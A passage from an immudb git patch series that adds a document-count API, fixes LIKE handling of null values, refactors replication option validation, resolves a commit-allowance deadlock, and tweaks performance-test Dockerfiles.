mux.GetForwardResponseOptions()...) + + }) + mux.Handle("POST", pattern_DocumentService_AuditDocument_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() @@ -1584,6 +1677,26 @@ func RegisterDocumentServiceHandlerClient(ctx context.Context, mux *runtime.Serv }) + mux.Handle("POST", pattern_DocumentService_CountDocuments_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + ctx, cancel := context.WithCancel(req.Context()) + defer cancel() + inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) + rctx, err := runtime.AnnotateContext(ctx, mux, req) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + resp, md, err := request_DocumentService_CountDocuments_0(rctx, inboundMarshaler, client, req, pathParams) + ctx = runtime.NewServerMetadataContext(ctx, md) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + + forward_DocumentService_CountDocuments_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + + }) + mux.Handle("POST", pattern_DocumentService_AuditDocument_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() @@ -1652,6 +1765,8 @@ var ( pattern_DocumentService_SearchDocuments_1 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1, 2, 2, 1, 0, 4, 1, 5, 3}, []string{"collection", "documents", "search", "searchId"}, "", runtime.AssumeColonVerbOpt(true))) + pattern_DocumentService_CountDocuments_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 1, 0, 4, 1, 5, 1, 2, 2, 2, 3}, []string{"collection", "query.collectionName", "documents", "count"}, "", runtime.AssumeColonVerbOpt(true))) + pattern_DocumentService_AuditDocument_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 1, 0, 4, 1, 5, 1, 2, 2, 1, 0, 4, 1, 5, 3, 2, 4}, []string{"collection", "collectionName", "document", "documentId", "audit"}, "", runtime.AssumeColonVerbOpt(true))) pattern_DocumentService_ProofDocument_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 1, 0, 4, 1, 5, 1, 2, 2, 1, 0, 4, 1, 5, 3, 2, 4}, []string{"collection", "collectionName", "document", "documentId", "proof"}, "", runtime.AssumeColonVerbOpt(true))) @@ -1682,6 +1797,8 @@ var ( forward_DocumentService_SearchDocuments_1 = runtime.ForwardResponseMessage + forward_DocumentService_CountDocuments_0 = runtime.ForwardResponseMessage + forward_DocumentService_AuditDocument_0 = runtime.ForwardResponseMessage forward_DocumentService_ProofDocument_0 = runtime.ForwardResponseMessage diff --git a/pkg/api/protomodel/documents_grpc.pb.go b/pkg/api/protomodel/documents_grpc.pb.go index c752568091..d7c2324ea9 100644 --- a/pkg/api/protomodel/documents_grpc.pb.go +++ b/pkg/api/protomodel/documents_grpc.pb.go @@ -29,6 +29,7 @@ type DocumentServiceClient interface { ReplaceDocuments(ctx context.Context, in *ReplaceDocumentsRequest, opts ...grpc.CallOption) (*ReplaceDocumentsResponse, error) DeleteDocuments(ctx context.Context, in *DeleteDocumentsRequest, opts ...grpc.CallOption) (*DeleteDocumentsResponse, error) SearchDocuments(ctx context.Context, in *SearchDocumentsRequest, opts ...grpc.CallOption) (*SearchDocumentsResponse, error) + CountDocuments(ctx context.Context, in *CountDocumentsRequest, opts ...grpc.CallOption) (*CountDocumentsResponse, error) AuditDocument(ctx context.Context, in *AuditDocumentRequest, opts ...grpc.CallOption) (*AuditDocumentResponse, error) ProofDocument(ctx context.Context, in *ProofDocumentRequest, opts ...grpc.CallOption) (*ProofDocumentResponse, error) } @@ -140,6 +141,15 @@ func (c *documentServiceClient) SearchDocuments(ctx context.Context, in *SearchD return out, nil } +func (c *documentServiceClient) CountDocuments(ctx context.Context, in *CountDocumentsRequest, opts ...grpc.CallOption) (*CountDocumentsResponse, error) { + out := new(CountDocumentsResponse) + err := c.cc.Invoke(ctx, "/immudb.model.DocumentService/CountDocuments", in, out, opts...) + if err != nil { + return nil, err + } + return out, nil +} + func (c *documentServiceClient) AuditDocument(ctx context.Context, in *AuditDocumentRequest, opts ...grpc.CallOption) (*AuditDocumentResponse, error) { out := new(AuditDocumentResponse) err := c.cc.Invoke(ctx, "/immudb.model.DocumentService/AuditDocument", in, out, opts...) @@ -173,6 +183,7 @@ type DocumentServiceServer interface { ReplaceDocuments(context.Context, *ReplaceDocumentsRequest) (*ReplaceDocumentsResponse, error) DeleteDocuments(context.Context, *DeleteDocumentsRequest) (*DeleteDocumentsResponse, error) SearchDocuments(context.Context, *SearchDocumentsRequest) (*SearchDocumentsResponse, error) + CountDocuments(context.Context, *CountDocumentsRequest) (*CountDocumentsResponse, error) AuditDocument(context.Context, *AuditDocumentRequest) (*AuditDocumentResponse, error) ProofDocument(context.Context, *ProofDocumentRequest) (*ProofDocumentResponse, error) } @@ -214,6 +225,9 @@ func (UnimplementedDocumentServiceServer) DeleteDocuments(context.Context, *Dele func (UnimplementedDocumentServiceServer) SearchDocuments(context.Context, *SearchDocumentsRequest) (*SearchDocumentsResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method SearchDocuments not implemented") } +func (UnimplementedDocumentServiceServer) CountDocuments(context.Context, *CountDocumentsRequest) (*CountDocumentsResponse, error) { + return nil, status.Errorf(codes.Unimplemented, "method CountDocuments not implemented") +} func (UnimplementedDocumentServiceServer) AuditDocument(context.Context, *AuditDocumentRequest) (*AuditDocumentResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method AuditDocument not implemented") } @@ -430,6 +444,24 @@ func _DocumentService_SearchDocuments_Handler(srv interface{}, ctx context.Conte return interceptor(ctx, in, info, handler) } +func _DocumentService_CountDocuments_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(CountDocumentsRequest) + if err := dec(in); err != nil { + return nil, err + } + if interceptor == nil { + return srv.(DocumentServiceServer).CountDocuments(ctx, in) + } + info := &grpc.UnaryServerInfo{ + Server: srv, + FullMethod: "/immudb.model.DocumentService/CountDocuments", + } + handler := func(ctx context.Context, req interface{}) (interface{}, error) { + return srv.(DocumentServiceServer).CountDocuments(ctx, req.(*CountDocumentsRequest)) + } + return interceptor(ctx, in, info, handler) +} + func _DocumentService_AuditDocument_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(AuditDocumentRequest) if err := dec(in); err != nil { @@ -517,6 +549,10 @@ var DocumentService_ServiceDesc = grpc.ServiceDesc{ MethodName: "SearchDocuments", Handler: _DocumentService_SearchDocuments_Handler, }, + { + MethodName: "CountDocuments", + Handler: _DocumentService_CountDocuments_Handler, + }, { MethodName: "AuditDocument", Handler: _DocumentService_AuditDocument_Handler, diff --git a/pkg/auth/permissions.go b/pkg/auth/permissions.go index dd4dceb9ea..0576ff34ae 100644 --- a/pkg/auth/permissions.go +++ b/pkg/auth/permissions.go @@ -54,6 +54,7 @@ var maintenanceMethods = map[string]struct{}{ "ReplaceDocuments": {}, "DeleteDocuments": {}, "SearchDocuments": {}, + "CountDocuments": {}, "AuditDocument": {}, "ProofDocument": {}, @@ -129,6 +130,7 @@ var methodsPermissions = map[string][]uint32{ "ReplaceDocuments": {PermissionSysAdmin, PermissionAdmin, PermissionRW}, "DeleteDocuments": {PermissionSysAdmin, PermissionAdmin, PermissionRW}, "SearchDocuments": {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR}, + "CountDocuments": {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR}, "AuditDocument": {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR}, "ProofDocument": {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR}, diff --git a/pkg/database/document_database.go b/pkg/database/document_database.go index 0dcd617dc2..9463f6663b 100644 --- a/pkg/database/document_database.go +++ b/pkg/database/document_database.go @@ -49,6 +49,8 @@ type DocumentDatabase interface { AuditDocument(ctx context.Context, req *protomodel.AuditDocumentRequest) (*protomodel.AuditDocumentResponse, error) // SearchDocuments returns the documents matching the query SearchDocuments(ctx context.Context, query *protomodel.Query, offset int64) (document.DocumentReader, error) + // CountDocuments returns the number of documents matching the query + CountDocuments(ctx context.Context, req *protomodel.CountDocumentsRequest) (*protomodel.CountDocumentsResponse, error) // DeleteDocuments deletes documents maching the query DeleteDocuments(ctx context.Context, req *protomodel.DeleteDocumentsRequest) (*protomodel.DeleteDocumentsResponse, error) // ProofDocument returns the proofs for a document @@ -273,6 +275,22 @@ func (d *db) SearchDocuments(ctx context.Context, query *protomodel.Query, offse return d.documentEngine.GetDocuments(ctx, query, offset) } +// CountDocuments returns the number of documents matching the query +func (d *db) CountDocuments(ctx context.Context, req *protomodel.CountDocumentsRequest) (*protomodel.CountDocumentsResponse, error) { + if req == nil { + return nil, ErrIllegalArguments + } + + count, err := d.documentEngine.CountDocuments(ctx, req.Query, 0) + if err != nil { + return nil, err + } + + return &protomodel.CountDocumentsResponse{ + Count: count, + }, nil +} + func (d *db) DeleteDocuments(ctx context.Context, req *protomodel.DeleteDocumentsRequest) (*protomodel.DeleteDocumentsResponse, error) { if req == nil { return nil, ErrIllegalArguments diff --git a/pkg/server/db_dummy_closed.go b/pkg/server/db_dummy_closed.go index 3cf6b28d1c..2bf735ace3 100644 --- a/pkg/server/db_dummy_closed.go +++ b/pkg/server/db_dummy_closed.go @@ -292,6 +292,10 @@ func (d *closedDB) SearchDocuments(ctx context.Context, query *protomodel.Query, return nil, store.ErrAlreadyClosed } +func (d *closedDB) CountDocuments(ctx context.Context, req *protomodel.CountDocumentsRequest) (*protomodel.CountDocumentsResponse, error) { + return nil, store.ErrAlreadyClosed +} + func (d *closedDB) ProofDocument(ctx context.Context, req *protomodel.ProofDocumentRequest) (*protomodel.ProofDocumentResponse, error) { return nil, store.ErrAlreadyClosed } diff --git a/pkg/server/documents_operations.go b/pkg/server/documents_operations.go index 926075af97..b5d0d0f48d 100644 --- a/pkg/server/documents_operations.go +++ b/pkg/server/documents_operations.go @@ -261,15 +261,31 @@ func (s *ImmuServer) SearchDocuments(ctx context.Context, req *protomodel.Search }, nil } +func (s *ImmuServer) CountDocuments(ctx context.Context, req *protomodel.CountDocumentsRequest) (*protomodel.CountDocumentsResponse, error) { + db, err := s.getDBFromCtx(ctx, "CountDocuments") + if err != nil { + return nil, err + } + + resp, err := db.CountDocuments(ctx, req) + if err != nil { + return nil, err + } + + return resp, nil +} + func (s *ImmuServer) DeleteDocuments(ctx context.Context, req *protomodel.DeleteDocumentsRequest) (*protomodel.DeleteDocumentsResponse, error) { db, err := s.getDBFromCtx(ctx, "DeleteDocuments") if err != nil { return nil, err } + resp, err := db.DeleteDocuments(ctx, req) if err != nil { return nil, err } + return resp, nil } From 9e4db80617460f9eb44b5550dc2b6f101672ba84 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 13 Jun 2023 09:39:25 -0300 Subject: [PATCH 0622/1062] fix(embedded/sql): like operator supporting null values Signed-off-by: Jeronimo Irazabal --- embedded/sql/engine_test.go | 24 ++++++++++++++++++++++++ embedded/sql/stmt.go | 4 ++++ 2 files changed, 28 insertions(+) diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index 9f8e1793a7..8e859eb20b 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -6603,3 +6603,27 @@ func BenchmarkInsertInto(b *testing.B) { wg.Wait() } } + +func TestLikeWithNullableColumns(t *testing.T) { + engine := setupCommonTest(t) + + _, _, err := engine.Exec(context.Background(), nil, "CREATE TABLE mytable (id INTEGER AUTO_INCREMENT, title VARCHAR, PRIMARY KEY id)", nil) + require.NoError(t, err) + + _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO mytable(title) VALUES (NULL), ('title1')", nil) + require.NoError(t, err) + + r, err := engine.Query(context.Background(), nil, "SELECT id, title FROM mytable WHERE title LIKE '.*'", nil) + require.NoError(t, err) + defer r.Close() + + row, err := r.Read(context.Background()) + require.NoError(t, err) + + require.Len(t, row.ValuesByPosition, 2) + require.EqualValues(t, 2, row.ValuesByPosition[0].RawValue()) + require.EqualValues(t, "title1", row.ValuesByPosition[1].RawValue()) + + _, err = r.Read(context.Background()) + require.ErrorIs(t, err, ErrNoMoreRows) +} diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index a68706d1be..2dd309b6f6 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -3216,6 +3216,10 @@ func (bexp *LikeBoolExp) reduce(tx *SQLTx, row *Row, implicitTable string) (Type return nil, fmt.Errorf("error in 'LIKE' clause: %w (expecting %s)", ErrInvalidTypes, VarcharType) } + if rval.IsNull() { + return &Bool{val: false}, nil + } + rpattern, err := bexp.pattern.reduce(tx, row, implicitTable) if err != nil { return nil, fmt.Errorf("error in 'LIKE' clause: %w", err) From 398cdf6d6b5ecaff7c04b451f113797662da0f30 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 14 Jun 2023 16:32:10 -0300 Subject: [PATCH 0623/1062] chore(pkg/replication): improve options validation Signed-off-by: Jeronimo Irazabal --- pkg/database/sql.go | 13 +++++-------- pkg/replication/options.go | 33 ++++++++++++++++++++++++++------- pkg/replication/options_test.go | 6 +++--- pkg/replication/replicator.go | 10 ++++++++-- 4 files changed, 42 insertions(+), 20 deletions(-) diff --git a/pkg/database/sql.go b/pkg/database/sql.go index a526b837eb..9fb2b35c14 100644 --- a/pkg/database/sql.go +++ b/pkg/database/sql.go @@ -293,6 +293,9 @@ func (d *db) DescribeTable(ctx context.Context, tx *sql.SQLTx, tableName string) func (d *db) NewSQLTx(ctx context.Context, opts *sql.TxOptions) (tx *sql.SQLTx, err error) { txCtx, txCancel := context.WithCancel(context.Background()) + txChan := make(chan *sql.SQLTx) + errChan := make(chan error) + defer func() { if err != nil { txCancel() @@ -303,12 +306,6 @@ func (d *db) NewSQLTx(ctx context.Context, opts *sql.TxOptions) (tx *sql.SQLTx, } }() - txChan := make(chan *sql.SQLTx) - defer close(txChan) - - errChan := make(chan error) - defer close(errChan) - go func() { tx, err = d.sqlEngine.NewTx(txCtx, opts) if err != nil { @@ -323,11 +320,11 @@ func (d *db) NewSQLTx(ctx context.Context, opts *sql.TxOptions) (tx *sql.SQLTx, { return nil, ctx.Err() } - case tx := <-txChan: + case tx = <-txChan: { return tx, nil } - case err := <-errChan: + case err = <-errChan: { return nil, err } diff --git a/pkg/replication/options.go b/pkg/replication/options.go index 9c0a3f5552..b046006568 100644 --- a/pkg/replication/options.go +++ b/pkg/replication/options.go @@ -16,7 +16,10 @@ limitations under the License. package replication -import "time" +import ( + "fmt" + "time" +) const DefaultChunkSize int = 64 * 1024 // 64 * 1024 64 KiB const DefaultPrefetchTxBufferSize int = 100 @@ -63,12 +66,28 @@ func DefaultOptions() *Options { } } -func (opts *Options) Valid() bool { - return opts != nil && - opts.streamChunkSize > 0 && - opts.prefetchTxBufferSize > 0 && - opts.replicationCommitConcurrency > 0 && - opts.delayer != nil +func (opts *Options) Validate() error { + if opts == nil { + return fmt.Errorf("%w: nil options", ErrInvalidOptions) + } + + if opts.streamChunkSize <= 0 { + return fmt.Errorf("%w: invalid StreamChunkSize", ErrInvalidOptions) + } + + if opts.prefetchTxBufferSize <= 0 { + return fmt.Errorf("%w: invalid PrefetchTxBufferSize", ErrInvalidOptions) + } + + if opts.replicationCommitConcurrency <= 0 { + return fmt.Errorf("%w: invalid ReplicationCommitConcurrency", ErrInvalidOptions) + } + + if opts.delayer == nil { + return fmt.Errorf("%w: invalid Delayer", ErrInvalidOptions) + } + + return nil } // WithPrimaryDatabase sets the source database name diff --git a/pkg/replication/options_test.go b/pkg/replication/options_test.go index 56ffc48ce9..d691f7a5ff 100644 --- a/pkg/replication/options_test.go +++ b/pkg/replication/options_test.go @@ -25,7 +25,7 @@ import ( func TestOptions(t *testing.T) { opts := &Options{} - require.False(t, opts.Valid()) + require.ErrorIs(t, opts.Validate(), ErrInvalidOptions) delayer := &expBackoff{ retryMinDelay: time.Second, @@ -60,9 +60,9 @@ func TestOptions(t *testing.T) { require.True(t, opts.waitForIndexing) require.Equal(t, delayer, opts.delayer) - require.True(t, opts.Valid()) + require.NoError(t, opts.Validate()) defaultOpts := DefaultOptions() require.NotNil(t, defaultOpts) - require.True(t, defaultOpts.Valid()) + require.NoError(t, defaultOpts.Validate()) } diff --git a/pkg/replication/replicator.go b/pkg/replication/replicator.go index 520eaa7af1..f14adfa26f 100644 --- a/pkg/replication/replicator.go +++ b/pkg/replication/replicator.go @@ -36,6 +36,7 @@ import ( ) var ErrIllegalArguments = errors.New("illegal arguments") +var ErrInvalidOptions = fmt.Errorf("%w: invalid options", ErrIllegalArguments) var ErrAlreadyRunning = errors.New("already running") var ErrAlreadyStopped = errors.New("already stopped") var ErrReplicaDivergedFromPrimary = errors.New("replica diverged from primary") @@ -87,8 +88,13 @@ type TxReplicator struct { } func NewTxReplicator(uuid xid.ID, db database.DB, opts *Options, logger logger.Logger) (*TxReplicator, error) { - if db == nil || logger == nil || opts == nil || !opts.Valid() { - return nil, ErrIllegalArguments + if db == nil || logger == nil { + return nil, fmt.Errorf("%w: no database or logger provided", ErrIllegalArguments) + } + + err := opts.Validate() + if err != nil { + return nil, err } return &TxReplicator{ From 159ae83406a2aab08755438fa0f7119bba309f5d Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 14 Jun 2023 16:36:06 -0300 Subject: [PATCH 0624/1062] fix(embedded/store): avoid dead-lock when exporting tx with external commit allowance mode Signed-off-by: Jeronimo Irazabal --- embedded/store/immustore.go | 26 ++++++++------------------ embedded/store/ongoing_tx.go | 12 +++++++++++- 2 files changed, 19 insertions(+), 19 deletions(-) diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index e13d84192d..ac2b252a39 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -1443,7 +1443,7 @@ func (s *ImmuStore) precommit(ctx context.Context, otx *OngoingTx, hdr *TxHeader if otx.hasPreconditions() { var waitForIndexingUpto uint64 - if otx.unsafeMVCC && s.mandatoryMVCCUpToTxID > 0 { + if otx.unsafeMVCC { waitForIndexingUpto = s.mandatoryMVCCUpToTxID } else { // Preconditions must be executed with up-to-date tree @@ -1750,20 +1750,13 @@ func (s *ImmuStore) DiscardPrecommittedTxsSince(txID uint64) (int, error) { } func (s *ImmuStore) AllowCommitUpto(txID uint64) error { - s.mutex.Lock() - defer s.mutex.Unlock() - - if s.closed { - return ErrAlreadyClosed - } + s.commitStateRWMutex.Lock() + defer s.commitStateRWMutex.Unlock() if !s.useExternalCommitAllowance { return fmt.Errorf("%w: the external commit allowance mode is not enabled", ErrIllegalState) } - s.commitStateRWMutex.Lock() - defer s.commitStateRWMutex.Unlock() - if txID <= s.commitAllowedUpToTxID { // once a commit is allowed, it cannot be revoked return nil @@ -2598,7 +2591,11 @@ func (s *ImmuStore) ReplicateTx(ctx context.Context, exportedTx []byte, skipInte return nil, err } - if !s.useExternalCommitAllowance { + s.commitStateRWMutex.Lock() + waitForCommit := !s.useExternalCommitAllowance + s.commitStateRWMutex.Unlock() + + if waitForCommit { err = s.commitWHub.WaitFor(ctx, txHdr.ID) if err == watchers.ErrAlreadyClosed { return nil, ErrAlreadyClosed @@ -2748,13 +2745,6 @@ func (s *ImmuStore) readTx(txID uint64, allowPrecommitted bool, skipIntegrityChe } func (s *ImmuStore) ReadTxHeader(txID uint64, allowPrecommitted bool, skipIntegrityCheck bool) (*TxHeader, error) { - s.mutex.Lock() - defer s.mutex.Unlock() - - if s.closed { - return nil, ErrAlreadyClosed - } - r, err := s.appendableReaderForTx(txID, allowPrecommitted) if err != nil { return nil, err diff --git a/embedded/store/ongoing_tx.go b/embedded/store/ongoing_tx.go index 2403c7fcb2..21dabf8f26 100644 --- a/embedded/store/ongoing_tx.go +++ b/embedded/store/ongoing_tx.go @@ -428,8 +428,14 @@ func (tx *OngoingTx) NewKeyReader(spec KeyReaderSpec) (KeyReader, error) { return newOngoingTxKeyReader(tx, spec) } -func (tx *OngoingTx) RequireMVCCOnFollowingTxs(requireMVCCOnFollowingTxs bool) { +func (tx *OngoingTx) RequireMVCCOnFollowingTxs(requireMVCCOnFollowingTxs bool) error { + if tx.closed { + return ErrAlreadyClosed + } + tx.requireMVCCOnFollowingTxs = requireMVCCOnFollowingTxs + + return nil } func (tx *OngoingTx) Commit(ctx context.Context) (*TxHeader, error) { @@ -479,6 +485,10 @@ func (tx *OngoingTx) Cancel() error { return nil } +func (tx *OngoingTx) Closed() bool { + return tx.closed +} + func (tx *OngoingTx) hasPreconditions() bool { return len(tx.preconditions) > 0 || len(tx.expectedGets) > 0 || From 88994bb90ac893fd55cf406d285b157eb2eec8ed Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 14 Jun 2023 16:36:51 -0300 Subject: [PATCH 0625/1062] chore(embedded/sql): simplified sql tx Signed-off-by: Jeronimo Irazabal --- embedded/sql/engine.go | 2 +- embedded/sql/engine_test.go | 51 ++++++++++++++++++++++++++++++++++--- embedded/sql/sql_tx.go | 25 ++++++++---------- 3 files changed, 59 insertions(+), 19 deletions(-) diff --git a/embedded/sql/engine.go b/embedded/sql/engine.go index b4627084e2..d8c5afd060 100644 --- a/embedded/sql/engine.go +++ b/embedded/sql/engine.go @@ -281,7 +281,7 @@ func (e *Engine) execPreparedStmts(ctx context.Context, tx *SQLTx, stmts []SQLSt } } - if currTx.committed { + if currTx.Committed() { committedTxs = append(committedTxs, currTx) } diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index 8e859eb20b..0042a8b234 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -1404,7 +1404,7 @@ func TestAutoIncrementPK(t *testing.T) { _, ctxs, err := engine.Exec(context.Background(), nil, "INSERT INTO table1(title) VALUES ('name1')", nil) require.NoError(t, err) require.Len(t, ctxs, 1) - require.True(t, ctxs[0].closed) + require.True(t, ctxs[0].Closed()) require.Equal(t, int64(1), ctxs[0].LastInsertedPKs()["table1"]) require.Equal(t, int64(1), ctxs[0].FirstInsertedPKs()["table1"]) require.Equal(t, 1, ctxs[0].UpdatedRows()) @@ -1439,7 +1439,7 @@ func TestAutoIncrementPK(t *testing.T) { _, ctxs, err = engine.Exec(context.Background(), nil, "INSERT INTO table1(title) VALUES ('name6')", nil) require.NoError(t, err) require.Len(t, ctxs, 1) - require.True(t, ctxs[0].closed) + require.True(t, ctxs[0].Closed()) require.Equal(t, int64(6), ctxs[0].FirstInsertedPKs()["table1"]) require.Equal(t, int64(6), ctxs[0].LastInsertedPKs()["table1"]) require.Equal(t, 1, ctxs[0].UpdatedRows()) @@ -1454,7 +1454,7 @@ func TestAutoIncrementPK(t *testing.T) { `, nil) require.NoError(t, err) require.Len(t, ctxs, 1) - require.True(t, ctxs[0].closed) + require.True(t, ctxs[0].Closed()) require.Equal(t, int64(7), ctxs[0].FirstInsertedPKs()["table1"]) require.Equal(t, int64(8), ctxs[0].LastInsertedPKs()["table1"]) require.Equal(t, 2, ctxs[0].UpdatedRows()) @@ -6226,6 +6226,51 @@ func TestMVCC(t *testing.T) { }) } +func TestMVCCWithExternalCommitAllowance(t *testing.T) { + st, err := store.Open(t.TempDir(), store.DefaultOptions().WithExternalCommitAllowance(true)) + require.NoError(t, err) + t.Cleanup(func() { closeStore(t, st) }) + + engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) + require.NoError(t, err) + + go func() { + time.Sleep(1 * time.Second) + st.AllowCommitUpto(1) + }() + + _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE table1 (id INTEGER, title VARCHAR[10], active BOOLEAN, PRIMARY KEY id);", nil) + require.NoError(t, err) + + tx1, _, err := engine.Exec(context.Background(), nil, "BEGIN TRANSACTION;", nil) + require.NoError(t, err) + + tx2, _, err := engine.Exec(context.Background(), nil, "BEGIN TRANSACTION;", nil) + require.NoError(t, err) + + _, _, err = engine.Exec(context.Background(), tx2, "INSERT INTO table1 (id, title, active) VALUES (1, 'title1', true);", nil) + require.NoError(t, err) + + _, _, err = engine.Exec(context.Background(), tx2, "INSERT INTO table1 (id, title, active) VALUES (2, 'title2', false);", nil) + require.NoError(t, err) + + go func() { + time.Sleep(1 * time.Second) + st.AllowCommitUpto(2) + }() + + _, _, err = engine.Exec(context.Background(), tx1, "COMMIT;", nil) + require.NoError(t, err) + + go func() { + time.Sleep(1 * time.Second) + st.AllowCommitUpto(3) + }() + + _, _, err = engine.Exec(context.Background(), tx2, "COMMIT;", nil) + require.NoError(t, err) +} + func TestConcurrentInsertions(t *testing.T) { workers := 10 diff --git a/embedded/sql/sql_tx.go b/embedded/sql/sql_tx.go index 7887d26e0c..30bde46192 100644 --- a/embedded/sql/sql_tx.go +++ b/embedded/sql/sql_tx.go @@ -41,9 +41,6 @@ type SQLTx struct { firstInsertedPKs map[string]int64 // first inserted PK by table name txHeader *store.TxHeader // header is set once tx is committed - - committed bool - closed bool } func (sqlTx *SQLTx) Catalog() *Catalog { @@ -114,20 +111,14 @@ func (sqlTx *SQLTx) existKeyWith(prefix, neq []byte) (bool, error) { } func (sqlTx *SQLTx) Cancel() error { - if sqlTx.closed { - return ErrAlreadyClosed - } - - sqlTx.closed = true - return sqlTx.tx.Cancel() } -func (sqlTx *SQLTx) Commit(ctx context.Context) (err error) { - sqlTx.committed = true - sqlTx.closed = true - - sqlTx.tx.RequireMVCCOnFollowingTxs(sqlTx.mutatedCatalog) +func (sqlTx *SQLTx) Commit(ctx context.Context) error { + err := sqlTx.tx.RequireMVCCOnFollowingTxs(sqlTx.mutatedCatalog) + if err != nil { + return err + } // no need to wait for indexing to be up to date during commit phase sqlTx.txHeader, err = sqlTx.tx.AsyncCommit(ctx) @@ -139,7 +130,11 @@ func (sqlTx *SQLTx) Commit(ctx context.Context) (err error) { } func (sqlTx *SQLTx) Closed() bool { - return sqlTx.closed + return sqlTx.tx.Closed() +} + +func (sqlTx *SQLTx) Committed() bool { + return sqlTx.txHeader != nil } func (sqlTx *SQLTx) delete(key []byte) error { From 48d27a8562fcff0c4862b5f365628d14d8b9c98f Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 14 Jun 2023 16:56:45 -0300 Subject: [PATCH 0626/1062] chore(pkg/server): set default replication settings Signed-off-by: Jeronimo Irazabal --- pkg/server/options.go | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) diff --git a/pkg/server/options.go b/pkg/server/options.go index 4444eb3296..d1476d2525 100644 --- a/pkg/server/options.go +++ b/pkg/server/options.go @@ -24,6 +24,7 @@ import ( "strings" "github.com/codenotary/immudb/pkg/logger" + "github.com/codenotary/immudb/pkg/replication" "github.com/codenotary/immudb/pkg/server/sessions" "github.com/codenotary/immudb/pkg/stream" @@ -131,7 +132,7 @@ func DefaultOptions() *Options { TokenExpiryTimeMin: 1440, PgsqlServer: false, PgsqlServerPort: 5432, - ReplicationOptions: &ReplicationOptions{IsReplica: false, SyncAcks: 0}, + ReplicationOptions: DefaultReplicationOptions(), SessionsOptions: sessions.DefaultOptions(), PProf: false, GRPCReflectionServerEnabled: true, @@ -144,6 +145,15 @@ func DefaultRemoteStorageOptions() *RemoteStorageOptions { } } +func DefaultReplicationOptions() *ReplicationOptions { + return &ReplicationOptions{ + IsReplica: false, + SyncAcks: 0, + PrefetchTxBufferSize: replication.DefaultPrefetchTxBufferSize, + ReplicationCommitConcurrency: replication.DefaultReplicationCommitConcurrency, + } +} + // WithDir sets dir func (o *Options) WithDir(dir string) *Options { o.Dir = dir From c00cd2663680e48a23e6548cbc9c8c01ad84a262 Mon Sep 17 00:00:00 2001 From: Simone Lazzaris Date: Thu, 15 Jun 2023 14:30:49 +0200 Subject: [PATCH 0627/1062] performance test improvements --- test/release_perf_test/Dockerfile | 1 + test/release_perf_test/Dockerfile-141 | 1 + test/release_perf_test/quickie.sh | 13 +++++++++++++ test/release_perf_test/startup.sh | 12 ++++++------ 4 files changed, 21 insertions(+), 6 deletions(-) create mode 100755 test/release_perf_test/quickie.sh diff --git a/test/release_perf_test/Dockerfile b/test/release_perf_test/Dockerfile index 6d98adc505..cd1153ce12 100644 --- a/test/release_perf_test/Dockerfile +++ b/test/release_perf_test/Dockerfile @@ -9,5 +9,6 @@ RUN GOOS=linux GOARCH=amd64 make immuadmin-static immudb-static immuclient-stati FROM debian:stable-slim COPY --from=builder /src/immudb/immuadmin /src/immudb/immudb /src/immudb/immuclient \ /src/immudb/test/release_perf_test/startup.sh /usr/local/bin +RUN apt-get update && apt-get -y install netcat-traditional && apt-get clean ENTRYPOINT ["/usr/local/bin/startup.sh"] CMD ["standalone"] diff --git a/test/release_perf_test/Dockerfile-141 b/test/release_perf_test/Dockerfile-141 index 92d6117154..23c9d46ff2 100644 --- a/test/release_perf_test/Dockerfile-141 +++ b/test/release_perf_test/Dockerfile-141 @@ -8,5 +8,6 @@ RUN GOOS=linux GOARCH=amd64 make immuadmin-static immudb-static immuclient-stati FROM debian:stable-slim COPY --from=builder /src/immudb/immuadmin /src/immudb/immudb /src/immudb/immuclient /usr/local/bin COPY test/release_perf_test/startup.sh /usr/local/bin +RUN apt-get update && apt-get -y install netcat-traditional && apt-get clean ENTRYPOINT ["/usr/local/bin/startup.sh"] CMD ["standalone"] diff --git a/test/release_perf_test/quickie.sh b/test/release_perf_test/quickie.sh new file mode 100755 index 0000000000..b3043bfdec --- /dev/null +++ b/test/release_perf_test/quickie.sh @@ -0,0 +1,13 @@ +#!/bin/sh 